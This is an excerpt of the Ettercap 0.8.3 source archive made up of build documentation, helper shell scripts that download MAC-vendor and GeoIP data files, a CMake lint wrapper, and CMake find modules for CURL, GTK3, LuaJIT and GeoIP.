@@ @@ @@ @@ @@@@@@ @@@ @@@ @@@@@@ @@@@@@ @@ @@@@@@@ @@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@ @@@ @@@ @@@@@@@ @@ @@@ @@@@@@@ @@ @@ @@ NG Copyright 2001-2015 The Ettercap Dev Team ============================================================================== H O W T O C O M P I L E F R O M G I T ============================================================================== First you have to clone the project from the git repository: # git clone git://github.com/Ettercap/ettercap.git # cd ettercap If you already had the repository cloned, you will need to pull the latest changes: # git pull After you have successfully cloned the repository then you must initiate the build with cmake: # mkdir build # cd build # cmake .. # (Use ccmake . to change options such as disabling IPv6 support, add plugins support, setting release type to Debug, etc). ============================================================================== D E V E L O P E R S A N D B E T A T E S T E R S S E C T I O N ============================================================================== In order for ettercap to be compiled with debugging symbols, you need to use ccmake to change the release type to Debug. ============================================================================== vim:ts=3:expandtab ettercap-0.8.3/README.TESTS0000644000175000017500000000044013505247364014753 0ustar koeppeakoeppea Ettercap now has unit-tests! Requires: check (will use bundled check if it isn't already installed) available at http://check.sourceforge.net/ - To enable tests: - mkdir build - cd build - cmake -DENABLE_TESTS=On .. - make && make test OR - make && make test_verbose ettercap-0.8.3/misc/0000755000175000017500000000000013505247364014127 5ustar koeppeakoeppeaettercap-0.8.3/misc/get-mac.sh0000755000175000017500000000120713505247364016003 0ustar koeppeakoeppea#!/bin/sh #set -xe [ -f get-mac.sh ] && SHARE=../share || SHARE=share # set the relative path to ettercap's "share" directory wget http://standards.ieee.org/develop/regauth/oui/oui.txt cat oui.txt |grep "base 16" > oui #clean unused lines sed 's/\ \ \ \ \ (base\ 16)\t\t/ /g' -i oui #remove spaces sed 's/\ \ //g' -i oui #remove initial stuff sed '/^[0-9A-F]*$/d' -i oui #remove some private lines mv oui etter.finger.mac rm oui.txt echo "the maximum line SHOULD be less than 120 bytes (ec_manuf.c manuf_init function)" echo "maximum line of the newly generated file" wc -L etter.finger.mac dos2unix etter.finger.mac mv etter.finger.mac $SHARE ettercap-0.8.3/misc/geolite-update.sh0000644000175000017500000000452213505247364017376 0ustar koeppeakoeppea#!/bin/sh # set -xe # geolite-update.sh -- update GeoIP lite databases. # (C) 2017-2019 Ettercap Development Team. # Ettercap can use MaxMind's GeoIP databases to look up the country for an IP address. # This simple shell script helps in downloading and installing the *free* GeoLite # country databases, which are needed for this feature to actually work. # You can optionally pass an alternative install path to this script. # If you rather not, it will install all files to /usr/local/share/GeoIP/. # Note: In some distributions/operating systems these databases are available # through their package manager. # You most likely don't need to use this script if this is the case. USAGE="USAGE: $(basename $0) [geolite install path]" # check argument count if [ $# -gt 1 ] then echo $USAGE exit fi if [ -z $1 ] then geolite_path="/usr/share/GeoIP" download_path="/usr/share/GeoIP/download" else geolite_path=$1 download_path="$1/download" fi # prg="curl --remote-name" prg="wget --continue --directory-prefix=$download_path" if [ ! -e $geolite_path ]; then echo "Unable to find GeoIP directory: $geolite_path" exit 1 fi echo "Updating/Installing GeoLite databases..." echo "Note: Not installing GeoLiteCity database (not used by Ettercap)" [ -d $download_path ] || mkdir $download_path $prg http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz if [ ! -e $download_path/GeoIP.dat.gz ]; then echo "Unable to find GeoIP.dat.gz!" exit 1 fi gunzip -c $download_path/GeoIP.dat.gz > $geolite_path/GeoIP.dat rm -f $download_path/GeoIP.dat.gz # Ettercap doesn't use the GeoLiteCity database... yet. # Uncomment the following lines if you want to download and install it anyways. # $prg http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz # if [ ! -e $download_path/GeoLiteCity.dat.gz ]; then # echo "Unable to find GeoLiteCity.dat.gz!" # exit 1 # fi # gunzip -c $download_path/GeoLiteCity.dat.gz > $geolite_path/GeoLiteCity.dat # rm -f $download_path/GeoLiteCity.dat.gz $prg http://geolite.maxmind.com/download/geoip/database/GeoIPv6.dat.gz if [ ! -e $download_path/GeoIPv6.dat.gz ]; then echo "Unable to find GeoIPv6.dat.gz!" exit 1 fi gunzip -c $download_path/GeoIPv6.dat.gz > $geolite_path/GeoIPv6.dat rm -f $download_path/GeoIPv6.dat.gz echo "Done." ettercap-0.8.3/misc/cmakelint.sh0000755000175000017500000000331513505247364016437 0ustar koeppeakoeppea#!/bin/sh # set -xe # cmakelint.sh -- report style/format issues in CMake files. # (C) 2018 Ettercap Development Team. # cmake-lint is a Python tool that checks and reports coding/style issues in # CMake related build scripts. # # Installation: # https://github.com/richq/cmake-lint # The recommended version is 1.4, which, at the time of this writing, was not yet # published on PyPI. # # Ettercap uses cmake-lint and this shell script to enforce its consistent, # portable and up-to-date cmake coding practices. This means that all cmake files # *contributed* to the project will undergo a series of checks before the build # configuration phase can begin. # # If this script finds any issues, it will exit with a non-zero status and a # detailed error message. Else it won't output anything and exits with status # code 0. # # Additional information, including on how to use this script as pre-commit # hook, see Ettercap's Wiki (Etterwiki) at: # https://github.com/Ettercap/ettercap/wiki # # TODO: # 1. Enforce maximum line length of 80 characters (requires cmake version >= 3) # 2. Fix (variables passed to std args in) FindGTK3.cmake # 3. Move the description about this script to Etterwiki [ -f cmakelint.sh ] && ECROOT=.. || ECROOT=. FILTERS=\ -linelength,\ -package/stdargs,\ +convention/filename,\ +package/consistency,\ +readability/logic,\ +readability/mixedcase,\ +readability/wonkycase,\ +syntax,\ +whitespace/eol,\ +whitespace/extra,\ +whitespace/indent,\ +whitespace/mismatch,\ +whitespace/newline,\ +whitespace/tabs CMAKELINT="cmakelint --filter=$FILTERS --quiet --spaces=2" FIND="$(find $ECROOT \ -name CMakeLists.txt -not -path "$ECROOT/build*/*" -or \ -name *.cmake -not -path "$ECROOT/build*/*")" $CMAKELINT $FINDettercap-0.8.3/cmake/0000755000175000017500000000000013505247364014254 5ustar koeppeakoeppeaettercap-0.8.3/cmake/Modules/0000755000175000017500000000000013505247364015664 5ustar koeppeakoeppeaettercap-0.8.3/cmake/Modules/FindCURL.cmake0000644000175000017500000000500613505247364020235 0ustar koeppeakoeppea# Copyright 2013 Ettercap Development Team. # # Distributed under GPL licnse. # # Look for the header file find_path(CURL_INCLUDE_DIR NAMES curl/curl.h) mark_as_advanced(CURL_INCLUDE_DIR) # Look for the library. find_library(CURL_LIBRARY NAMES curl # Windows MSVC prebuilts: curllib libcurl_imp curllib_static ) mark_as_advanced(CURL_LIBRARY) # Make sure we've got an include dir. if(NOT CURL_INCLUDE_DIR) if(CURL_FIND_REQUIRED AND NOT CURL_FIND_QUIETLY) message(FATAL_ERROR "Could not find CURL include directory.") endif() return() endif() if(NOT CURL_LIBRARY) if(CURL_FIND_REQUIRED AND NOT CURL_FIND_QUIETLY) message(FATAL_ERROR "Could not find CURL library.") endif() return() endif() if(CURL_FIND_VERSION) # Try to find the version number. foreach(_curl_version_header curlver.h curl.h) if(EXISTS "${CURL_INCLUDE_DIR}/curl/${_curl_version_header}") file(STRINGS "${CURL_INCLUDE_DIR}/curl/${_curl_version_header}" curl_version_str REGEX "^#define[\t ]+LIBCURL_VERSION[\t ]+\".*\"") string(REGEX REPLACE "^#define[\t ]+LIBCURL_VERSION[\t ]+\"([^\"]*)\".*" "\\1" CURL_VERSION_STRING "${curl_version_str}") unset(curl_version_str) break() endif() endforeach() set(CURL_FAILED_VERSION_CHECK true) if(CURL_FIND_VERSION_EXACT) if(CURL_VERSION_STRING VERSION_EQUAL CURL_FIND_VERSION) set(CURL_FAILED_VERSION_CHECK false) endif() else() if(CURL_VERSION_STRING VERSION_EQUAL CURL_FIND_VERSION OR CURL_VERSION_STRING VERSION_GREATER CURL_FIND_VERSION) set(CURL_FAILED_VERSION_CHECK false) endif() endif() if(CURL_FAILED_VERSION_CHECK) if(CURL_FIND_REQUIRED AND NOT CURL_FIND_QUIETLY) if(CURL_FIND_VERSION_EXACT) message(FATAL_ERROR "CURL version check failed. Version ${CURL_VERSION_STRING} was found, version ${CURL_FIND_VERSION} is needed exactly.") else() message(FATAL_ERROR "CURL version check failed. Version ${CURL_VERSION_STRING} was found, at least version ${CURL_FIND_VERSION} is required") endif() endif() # If the version check fails, exit out of the module here return() endif() endif() #handle the QUIETLY and REQUIRED arguments and set CURL_FOUND to TRUE if # all listed variables are TRUE include(FindPackageHandleStandardArgs) find_package_handle_standard_args(CURL DEFAULT_MSG CURL_LIBRARY CURL_INCLUDE_DIR) if(CURL_FOUND) set(CURL_LIBRARY ${CURL_LIBRARY}) set(CURL_INCLUDE_DIR ${CURL_INCLUDE_DIR}) set(CURL_VERSION_STRING ${CURL_VERSION_STRING}) endif() ettercap-0.8.3/cmake/Modules/FindGTK3.cmake0000644000175000017500000004375713505247364020217 0ustar koeppeakoeppea# - FindGTK3.cmake # This module can find the GTK3 widget libraries and several of its other # optional components like gtkmm, glade, and glademm. # # NOTE: If you intend to use version checking, CMake 2.6.2 or later is # required. # # Specify one or more of the following components # as you call this find module. See example below. # # gtk # gtkmm # glade # glademm # # The following variables will be defined for your use # # GTK3_FOUND - Were all of your specified components found? # GTK3_INCLUDE_DIRS - All include directories # GTK3_LIBRARIES - All libraries # # GTK3_VERSION - The version of GTK3 found (x.y.z) # GTK3_MAJOR_VERSION - The major version of GTK3 # GTK3_MINOR_VERSION - The minor version of GTK3 # GTK3_PATCH_VERSION - The patch version of GTK3 # # Optional variables you can define prior to calling this module: # # GTK3_DEBUG - Enables verbose debugging of the module # GTK3_SKIP_MARK_AS_ADVANCED - Disable marking cache variables as advanced # GTK3_ADDITIONAL_SUFFIXES - Allows defining additional directories to # search for include files # #================= # Example Usage: # # Call find_package() once, here are some examples to pick from: # # Require GTK 3.0 or later # find_package(GTK3 3.0 REQUIRED gtk) # # if(GTK3_FOUND) # include_directories(${GTK3_INCLUDE_DIRS}) # add_executable(mygui mygui.cc) # target_link_libraries(mygui ${GTK3_LIBRARIES}) # endif() # #============================================================================= # Copyright 2009 Kitware, Inc. # Copyright 2008-2009 Philip Lowman # # Distributed under the OSI-approved BSD License (the "License"); # see accompanying file Copyright.txt for details. # # This software is distributed WITHOUT ANY WARRANTY; without even the # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the License for more information. #============================================================================= # (To distribute this file outside of CMake, substitute the full # License text for the above reference.) # Version 0.1 (5/13/2011) # * First cut at a GTK3 version (Heavily derived from # FindGTK2.cmake) #============================================================= # _GTK3_GET_VERSION # Internal function to parse the version number in gtkversion.h # _OUT_major = Major version number # _OUT_minor = Minor version number # _OUT_micro = Micro version number # _gtkversion_hdr = Header file to parse #============================================================= function(_GTK3_GET_VERSION _OUT_major _OUT_minor _OUT_micro _gtkversion_hdr) file(READ ${_gtkversion_hdr} _contents) if(_contents) string(REGEX REPLACE ".*#define GTK_MAJOR_VERSION[ \t]+\\(([0-9]+)\\).*" "\\1" ${_OUT_major} "${_contents}") string(REGEX REPLACE ".*#define GTK_MINOR_VERSION[ \t]+\\(([0-9]+)\\).*" "\\1" ${_OUT_minor} "${_contents}") string(REGEX REPLACE ".*#define GTK_MICRO_VERSION[ \t]+\\(([0-9]+)\\).*" "\\1" ${_OUT_micro} "${_contents}") if(NOT ${_OUT_major} MATCHES "[0-9]+") message(FATAL_ERROR "Version parsing failed for GTK3_MAJOR_VERSION!") endif() if(NOT ${_OUT_minor} MATCHES "[0-9]+") message(FATAL_ERROR "Version parsing failed for GTK3_MINOR_VERSION!") endif() if(NOT ${_OUT_micro} MATCHES "[0-9]+") message(FATAL_ERROR "Version parsing failed for GTK3_MICRO_VERSION!") endif() set(${_OUT_major} ${${_OUT_major}} PARENT_SCOPE) set(${_OUT_minor} ${${_OUT_minor}} PARENT_SCOPE) set(${_OUT_micro} ${${_OUT_micro}} PARENT_SCOPE) else() message(FATAL_ERROR "Include file ${_gtkversion_hdr} does not exist") endif() endfunction() #============================================================= # _GTK3_FIND_INCLUDE_DIR # Internal function to find the GTK include directories # _var = variable to set # _hdr = header file to look for #============================================================= function(_GTK3_FIND_INCLUDE_DIR _var _hdr) if(GTK3_DEBUG) message(STATUS "[FindGTK3.cmake:${CMAKE_CURRENT_LIST_LINE}] " "_GTK3_FIND_INCLUDE_DIR( ${_var} ${_hdr} )") endif() set(_relatives # If these ever change, things will break. ${GTK3_ADDITIONAL_SUFFIXES} glibmm-2.0 glib-2.0 atk-1.0 atkmm-1.0 cairo cairomm-1.0 gdk-pixbuf-2.0 gdkmm-2.4 giomm-2.4 gtk-3.0 gtkmm-2.4 libglade-2.0 libglademm-2.4 pango-1.0 pangomm-1.4 sigc++-2.2 gtk-unix-print-2.0) set(_suffixes) foreach(_d ${_relatives}) list(APPEND _suffixes ${_d}) list(APPEND _suffixes ${_d}/include) # for /usr/lib/gtk-2.0/include endforeach() if(GTK3_DEBUG) message(STATUS "[FindGTK3.cmake:${CMAKE_CURRENT_LIST_LINE}] " "include suffixes = ${_suffixes}") endif() find_path(${_var} ${_hdr} PATHS /usr/local/lib64 /usr/local/lib # fix for Ubuntu == 11.04 (Natty Narwhal) /usr/lib/i386-linux-gnu/ /usr/lib/x86_64-linux-gnu/ # end # fix for Ubuntu >= 11.10 (Oneiric Ocelot) /usr/lib/${CMAKE_LIBRARY_ARCHITECTURE} # end /usr/lib64 /usr/lib /opt/gnome/include /opt/gnome/lib /opt/openwin/include /usr/openwin/lib /sw/include /sw/lib /opt/local/include /opt/local/lib $ENV{GTKMM_BASEPATH}/include $ENV{GTKMM_BASEPATH}/lib [HKEY_CURRENT_USER\\SOFTWARE\\gtkmm\\2.4;Path]/include [HKEY_CURRENT_USER\\SOFTWARE\\gtkmm\\2.4;Path]/lib [HKEY_LOCAL_MACHINE\\SOFTWARE\\gtkmm\\2.4;Path]/include [HKEY_LOCAL_MACHINE\\SOFTWARE\\gtkmm\\2.4;Path]/lib PATH_SUFFIXES ${_suffixes} ) if(${_var}) set(GTK3_INCLUDE_DIRS ${GTK3_INCLUDE_DIRS} ${${_var}} PARENT_SCOPE) if(NOT GTK3_SKIP_MARK_AS_ADVANCED) mark_as_advanced(${_var}) endif() endif() endfunction() #============================================================= # _GTK3_FIND_LIBRARY # Internal function to find libraries packaged with GTK3 # _var = library variable to create #============================================================= function(_GTK3_FIND_LIBRARY _var _lib _expand_vc _append_version) if(GTK3_DEBUG) message(STATUS "[FindGTK3.cmake:${CMAKE_CURRENT_LIST_LINE}] " "_GTK3_FIND_LIBRARY( ${_var} ${_lib} ${_expand_vc} ${_append_version} )") endif() # Not GTK versions per se but the versions encoded into Windows # import libraries (GtkMM 2.14.1 has a gtkmm-vc80-2_4.lib for example) # Also the MSVC libraries use _ for . (this is handled below) # ********* SOMEONE WITH WINDOWS NEEDS TO CHECK THIS BIT FOR V3 ********* # ********* the plain 3 is needed to get Debian Sid to find the libraries set(_versions 3.0 3 2.20 2.18 2.16 2.14 2.12 2.10 2.8 2.6 2.4 2.2 2.0 1.20 1.18 1.16 1.14 1.12 1.10 1.8 1.6 1.4 1.2 1.0) set(_library) set(_library_d) set(_library ${_lib}) if(_expand_vc AND MSVC) # Add vc80/vc90/vc100 midfixes if(MSVC80) set(_library ${_library}-vc80) elseif(MSVC90) set(_library ${_library}-vc90) elseif(MSVC10) set(_library ${_library}-vc100) endif() set(_library_d ${_library}-d) endif() if(GTK3_DEBUG) message(STATUS "[FindGTK3.cmake:${CMAKE_CURRENT_LIST_LINE}] " "After midfix addition = ${_library} and ${_library_d}") endif() set(_lib_list) set(_libd_list) if(_append_version) foreach(_ver ${_versions}) list(APPEND _lib_list "${_library}-${_ver}") list(APPEND _libd_list "${_library_d}-${_ver}") endforeach() else() set(_lib_list ${_library}) set(_libd_list ${_library_d}) endif() if(GTK3_DEBUG) message(STATUS "[FindGTK3.cmake:${CMAKE_CURRENT_LIST_LINE}] " "library list = ${_lib_list} and library debug list = ${_libd_list}") endif() # For some silly reason the MSVC libraries use _ instead of . # in the version fields if(_expand_vc AND MSVC) set(_no_dots_lib_list) set(_no_dots_libd_list) foreach(_l ${_lib_list}) string(REPLACE "." "_" _no_dots_library ${_l}) list(APPEND _no_dots_lib_list ${_no_dots_library}) endforeach() # And for debug set(_no_dots_libsd_list) foreach(_l ${_libd_list}) string(REPLACE "." "_" _no_dots_libraryd ${_l}) list(APPEND _no_dots_libd_list ${_no_dots_libraryd}) endforeach() # Copy list back to original names set(_lib_list ${_no_dots_lib_list}) set(_libd_list ${_no_dots_libd_list}) endif() if(GTK3_DEBUG) message(STATUS "[FindGTK3.cmake:${CMAKE_CURRENT_LIST_LINE}] " "While searching for ${_var}, our proposed library list is ${_lib_list}") endif() find_library(${_var} NAMES ${_lib_list} PATHS /opt/gnome/lib /opt/gnome/lib64 /usr/openwin/lib /usr/openwin/lib64 /sw/lib $ENV{GTKMM_BASEPATH}/lib [HKEY_CURRENT_USER\\SOFTWARE\\gtkmm\\2.4;Path]/lib [HKEY_LOCAL_MACHINE\\SOFTWARE\\gtkmm\\2.4;Path]/lib ) if(_expand_vc AND MSVC) if(GTK3_DEBUG) message(STATUS "[FindGTK3.cmake:${CMAKE_CURRENT_LIST_LINE}] " "While searching for ${_var}_DEBUG our proposed library list is ${_libd_list}") endif() find_library(${_var}_DEBUG NAMES ${_libd_list} PATHS $ENV{GTKMM_BASEPATH}/lib [HKEY_CURRENT_USER\\SOFTWARE\\gtkmm\\2.4;Path]/lib [HKEY_LOCAL_MACHINE\\SOFTWARE\\gtkmm\\2.4;Path]/lib ) if(${_var} AND ${_var}_DEBUG) if(NOT GTK3_SKIP_MARK_AS_ADVANCED) mark_as_advanced(${_var}_DEBUG) endif() set(GTK3_LIBRARIES ${GTK3_LIBRARIES} optimized ${${_var}} debug ${${_var}_DEBUG}) set(GTK3_LIBRARIES ${GTK3_LIBRARIES} PARENT_SCOPE) endif() else() if(NOT GTK3_SKIP_MARK_AS_ADVANCED) mark_as_advanced(${_var}) endif() set(GTK3_LIBRARIES ${GTK3_LIBRARIES} ${${_var}}) set(GTK3_LIBRARIES ${GTK3_LIBRARIES} PARENT_SCOPE) # Set debug to release set(${_var}_DEBUG ${${_var}}) set(${_var}_DEBUG ${${_var}} PARENT_SCOPE) endif() endfunction() #============================================================= # # main() # set(GTK3_FOUND) set(GTK3_INCLUDE_DIRS) set(GTK3_LIBRARIES) if(NOT GTK3_FIND_COMPONENTS) # Assume they only want GTK set(GTK3_FIND_COMPONENTS gtk) endif() # # If specified, enforce version number # if(GTK3_FIND_VERSION) cmake_minimum_required(VERSION 2.6.2) set(GTK3_FAILED_VERSION_CHECK true) if(GTK3_DEBUG) message(STATUS "[FindGTK3.cmake:${CMAKE_CURRENT_LIST_LINE}] " "Searching for version ${GTK3_FIND_VERSION}") endif() _gtk3_find_include_dir(GTK3_GTK_INCLUDE_DIR gtk/gtk.h) if(GTK3_GTK_INCLUDE_DIR) _gtk3_get_version(GTK3_MAJOR_VERSION GTK3_MINOR_VERSION GTK3_PATCH_VERSION ${GTK3_GTK_INCLUDE_DIR}/gtk/gtkversion.h) set(GTK3_VERSION ${GTK3_MAJOR_VERSION}.${GTK3_MINOR_VERSION}.${GTK3_PATCH_VERSION}) if(GTK3_FIND_VERSION_EXACT) if(GTK3_VERSION VERSION_EQUAL GTK3_FIND_VERSION) set(GTK3_FAILED_VERSION_CHECK false) endif() else() if(GTK3_VERSION VERSION_EQUAL GTK3_FIND_VERSION OR GTK3_VERSION VERSION_GREATER GTK3_FIND_VERSION) set(GTK3_FAILED_VERSION_CHECK false) endif() endif() else() # If we can't find the GTK include dir, we can't do version checking if(GTK3_FIND_REQUIRED AND NOT GTK3_FIND_QUIETLY) message(FATAL_ERROR "Could not find GTK3 include directory") endif() return() endif() if(GTK3_FAILED_VERSION_CHECK) if(GTK3_FIND_REQUIRED AND NOT GTK3_FIND_QUIETLY) if(GTK3_FIND_VERSION_EXACT) message(FATAL_ERROR "GTK3 version check failed. Version ${GTK3_VERSION} was found, version ${GTK3_FIND_VERSION} is needed exactly.") else() message(FATAL_ERROR "GTK3 version check failed. Version ${GTK3_VERSION} was found, at least version ${GTK3_FIND_VERSION} is required") endif() endif() # If the version check fails, exit out of the module here return() endif() endif() # # Find all components # find_package(Freetype) list(APPEND GTK3_INCLUDE_DIRS ${FREETYPE_INCLUDE_DIRS}) list(APPEND GTK3_LIBRARIES ${FREETYPE_LIBRARIES}) foreach(_GTK3_component ${GTK3_FIND_COMPONENTS}) if(_GTK3_component STREQUAL "gtk") _gtk3_find_include_dir(GTK3_GLIB_INCLUDE_DIR glib.h) _gtk3_find_include_dir(GTK3_GLIBCONFIG_INCLUDE_DIR glibconfig.h) _gtk3_find_library(GTK3_GLIB_LIBRARY glib false true) _gtk3_find_include_dir(GTK3_GOBJECT_INCLUDE_DIR gobject/gobject.h) _gtk3_find_library(GTK3_GOBJECT_LIBRARY gobject false true) _gtk3_find_include_dir(GTK3_GIO_INCLUDE_DIR gio/gio.h) _gtk3_find_library(GTK3_GIO_LIBRARY gio false true) _gtk3_find_include_dir(GTK3_GDK_PIXBUF_INCLUDE_DIR gdk-pixbuf/gdk-pixbuf.h) _gtk3_find_library(GTK3_GDK_PIXBUF_LIBRARY gdk_pixbuf false true) _gtk3_find_include_dir(GTK3_GDK_INCLUDE_DIR gdk/gdk.h) _gtk3_find_include_dir(GTK3_GDKCONFIG_INCLUDE_DIR gdk/gdkconfig.h) _gtk3_find_include_dir(GTK3_GTK_INCLUDE_DIR gtk/gtk.h) # ********* At least on Debian the gdk & gtk libraries # ********* don't have the -x11 suffix. if(UNIX) _gtk3_find_library(GTK3_GDK_LIBRARY gdk false true) _gtk3_find_library(GTK3_GTK_LIBRARY gtk false true) else() _gtk3_find_library(GTK3_GDK_LIBRARY gdk-win32 false true) _gtk3_find_library(GTK3_GTK_LIBRARY gtk-win32 false true) endif() _gtk3_find_include_dir(GTK3_CAIRO_INCLUDE_DIR cairo.h) _gtk3_find_library(GTK3_CAIRO_LIBRARY cairo false false) _gtk3_find_include_dir(GTK3_FONTCONFIG_INCLUDE_DIR fontconfig/fontconfig.h) _gtk3_find_include_dir(GTK3_PANGO_INCLUDE_DIR pango/pango.h) _gtk3_find_library(GTK3_PANGO_LIBRARY pango false true) _gtk3_find_include_dir(GTK3_ATK_INCLUDE_DIR atk/atk.h) _gtk3_find_library(GTK3_ATK_LIBRARY atk false true) elseif(_GTK3_component STREQUAL "gtkmm") _gtk3_find_include_dir(GTK3_GLIBMM_INCLUDE_DIR glibmm.h) _gtk3_find_include_dir(GTK3_GLIBMMCONFIG_INCLUDE_DIR glibmmconfig.h) _gtk3_find_library(GTK3_GLIBMM_LIBRARY glibmm true true) _gtk3_find_include_dir(GTK3_GDKMM_INCLUDE_DIR gdkmm.h) _gtk3_find_include_dir(GTK3_GDKMMCONFIG_INCLUDE_DIR gdkmmconfig.h) _gtk3_find_library(GTK3_GDKMM_LIBRARY gdkmm true true) _gtk3_find_include_dir(GTK3_GTKMM_INCLUDE_DIR gtkmm.h) _gtk3_find_include_dir(GTK3_GTKMMCONFIG_INCLUDE_DIR gtkmmconfig.h) _gtk3_find_library(GTK3_GTKMM_LIBRARY gtkmm true true) _gtk3_find_include_dir(GTK3_CAIROMM_INCLUDE_DIR cairomm/cairomm.h) _gtk3_find_library(GTK3_CAIROMM_LIBRARY cairomm true true) _gtk3_find_include_dir(GTK3_PANGOMM_INCLUDE_DIR pangomm.h) _gtk3_find_include_dir(GTK3_PANGOMMCONFIG_INCLUDE_DIR pangommconfig.h) _gtk3_find_library(GTK3_PANGOMM_LIBRARY pangomm true true) _gtk3_find_include_dir(GTK3_SIGC++_INCLUDE_DIR sigc++/sigc++.h) _gtk3_find_include_dir(GTK3_SIGC++CONFIG_INCLUDE_DIR sigc++config.h) _gtk3_find_library(GTK3_SIGC++_LIBRARY sigc true true) _gtk3_find_include_dir(GTK3_GIOMM_INCLUDE_DIR giomm.h) _gtk3_find_include_dir(GTK3_GIOMMCONFIG_INCLUDE_DIR giommconfig.h) _gtk3_find_library(GTK3_GIOMM_LIBRARY giomm true true) _gtk3_find_include_dir(GTK3_ATKMM_INCLUDE_DIR atkmm.h) _gtk3_find_library(GTK3_ATKMM_LIBRARY atkmm true true) elseif(_GTK3_component STREQUAL "glade") _gtk3_find_include_dir(GTK3_GLADE_INCLUDE_DIR glade/glade.h) _gtk3_find_library(GTK3_GLADE_LIBRARY glade false true) elseif(_GTK3_component STREQUAL "glademm") _gtk3_find_include_dir(GTK3_GLADEMM_INCLUDE_DIR libglademm.h) _gtk3_find_include_dir(GTK3_GLADEMMCONFIG_INCLUDE_DIR libglademmconfig.h) _gtk3_find_library(GTK3_GLADEMM_LIBRARY glademm true true) else() message(FATAL_ERROR "Unknown GTK3 component ${_component}") endif() endforeach() # # Solve for the GTK3 version if we haven't already # if(NOT GTK3_FIND_VERSION AND GTK3_GTK_INCLUDE_DIR) _gtk3_get_version(GTK3_MAJOR_VERSION GTK3_MINOR_VERSION GTK3_PATCH_VERSION ${GTK3_GTK_INCLUDE_DIR}/gtk/gtkversion.h) set(GTK3_VERSION ${GTK3_MAJOR_VERSION}.${GTK3_MINOR_VERSION}.${GTK3_PATCH_VERSION}) endif() # # Try to enforce components # set(_GTK3_did_we_find_everything true) # This gets set to GTK3_FOUND include(FindPackageHandleStandardArgs) #include(${CMAKE_CURRENT_LIST_DIR}/FindPackageHandleStandardArgs.cmake) foreach(_GTK3_component ${GTK3_FIND_COMPONENTS}) string(TOUPPER ${_GTK3_component} _COMPONENT_UPPER) if(_GTK3_component STREQUAL "gtk") find_package_handle_standard_args(GTK3_${_COMPONENT_UPPER} "Some or all of the gtk libraries were not found." GTK3_GTK_LIBRARY GTK3_GTK_INCLUDE_DIR GTK3_GLIB_INCLUDE_DIR GTK3_GLIBCONFIG_INCLUDE_DIR GTK3_GLIB_LIBRARY GTK3_GDK_INCLUDE_DIR GTK3_GDKCONFIG_INCLUDE_DIR GTK3_GDK_LIBRARY ) elseif(_GTK3_component STREQUAL "gtkmm") find_package_handle_standard_args(GTK3_${_COMPONENT_UPPER} "Some or all of the gtkmm libraries were not found." GTK3_GTKMM_LIBRARY GTK3_GTKMM_INCLUDE_DIR GTK3_GTKMMCONFIG_INCLUDE_DIR GTK3_GLIBMM_INCLUDE_DIR GTK3_GLIBMMCONFIG_INCLUDE_DIR GTK3_GLIBMM_LIBRARY GTK3_GDKMM_INCLUDE_DIR GTK3_GDKMMCONFIG_INCLUDE_DIR GTK3_GDKMM_LIBRARY ) elseif(_GTK3_component STREQUAL "glade") find_package_handle_standard_args(GTK3_${_COMPONENT_UPPER} "The glade library was not found." GTK3_GLADE_LIBRARY GTK3_GLADE_INCLUDE_DIR ) elseif(_GTK3_component STREQUAL "glademm") find_package_handle_standard_args(GTK3_${_COMPONENT_UPPER} "The glademm library was not found." GTK3_GLADEMM_LIBRARY GTK3_GLADEMM_INCLUDE_DIR GTK3_GLADEMMCONFIG_INCLUDE_DIR ) endif() if(NOT GTK3_${_COMPONENT_UPPER}_FOUND) set(_GTK3_did_we_find_everything false) endif() endforeach() if(_GTK3_did_we_find_everything AND NOT GTK3_VERSION_CHECK_FAILED) set(GTK3_FOUND true) else() # Unset our variables. set(GTK3_FOUND false) set(GTK3_VERSION) set(GTK3_VERSION_MAJOR) set(GTK3_VERSION_MINOR) set(GTK3_VERSION_PATCH) set(GTK3_INCLUDE_DIRS) set(GTK3_LIBRARIES) endif() if(GTK3_INCLUDE_DIRS) list(REMOVE_DUPLICATES GTK3_INCLUDE_DIRS) endif() ettercap-0.8.3/cmake/Modules/EttercapHeadersCheck.cmake0000644000175000017500000000102013505247364022660 0ustar koeppeakoeppeainclude(CheckIncludeFile) check_include_file(sys/poll.h HAVE_SYS_POLL_H) check_include_file(sys/select.h HAVE_SYS_SELECT_H) check_include_file(sys/utsname.h HAVE_UTSNAME_H) check_include_file(stdint.h HAVE_STDINT_H) check_include_file(getopt.h HAVE_GETOPT_H) check_include_file(ctype.h HAVE_CTYPE_H) check_include_file(inttypes.h HAVE_INTTYPES_H) check_include_file(arpa/nameser.h HAVE_ARPA_NAMESER_H) check_include_file(ltdl.h HAVE_LTDL_H) check_include_file(dlfcn.h HAVE_DLFCN_H) check_include_file(libgen.h HAVE_LIBGEN_H)ettercap-0.8.3/cmake/Modules/EttercapLuajit.cmake0000644000175000017500000000135713505247364021614 0ustar koeppeakoeppea# Sets the variables: # LUAJIT_FOUND # LUAJIT_VERSION # LUAJIT_LIBRARY # LUAJIT_INCLUDE_DIR # # Creates target: # luajit add_custom_target(luajit) if(SYSTEM_LUAJIT) find_package(LUAJIT 2.0.0) if(NOT LUAJIT_FOUND) message(STATUS "Couldn't find a suitable system-provided version of LuaJIT") endif() endif() # Only go into bundled stuff if it's enabled and we haven't found it already. if(BUNDLED_LUAJIT AND (NOT LUAJIT_FOUND)) message(STATUS "Using bundled version of LUAJIT") add_subdirectory(bundled_deps/luajit EXCLUDE_FROM_ALL) add_dependencies(luajit bundled_luajit) add_dependencies(bundled bundled_luajit) endif() if(NOT LUAJIT_FOUND) message(FATAL_ERROR "Could not find LUAJIT!") endif() ettercap-0.8.3/cmake/Modules/FindGEOIP.cmake0000644000175000017500000000245513505247364020340 0ustar koeppeakoeppea# # - Find GeoIP # Find the native GeoIP includes and library # # GEOIP_INCLUDE_DIRS - where to find GeoIP.h, etc. # GEOIP_LIBRARIES - List of libraries when using GeoIP. # GEOIP_FOUND - True if GeoIP found. if(GEOIP_INCLUDE_DIRS) # Already in cache, be silent set(GEOIP_FIND_QUIETLY TRUE) endif() # Users may set the (environment) variable GEOIP_ROOT # to point cmake to the *root* of a directory with include # and lib subdirectories for GeoIP if(GEOIP_ROOT) set(GEOIP_ROOT PATHS ${GEOIP_ROOT} NO_DEFAULT_PATH) else() set(GEOIP_ROOT $ENV{GEOIP_ROOT}) endif() find_package(PkgConfig) 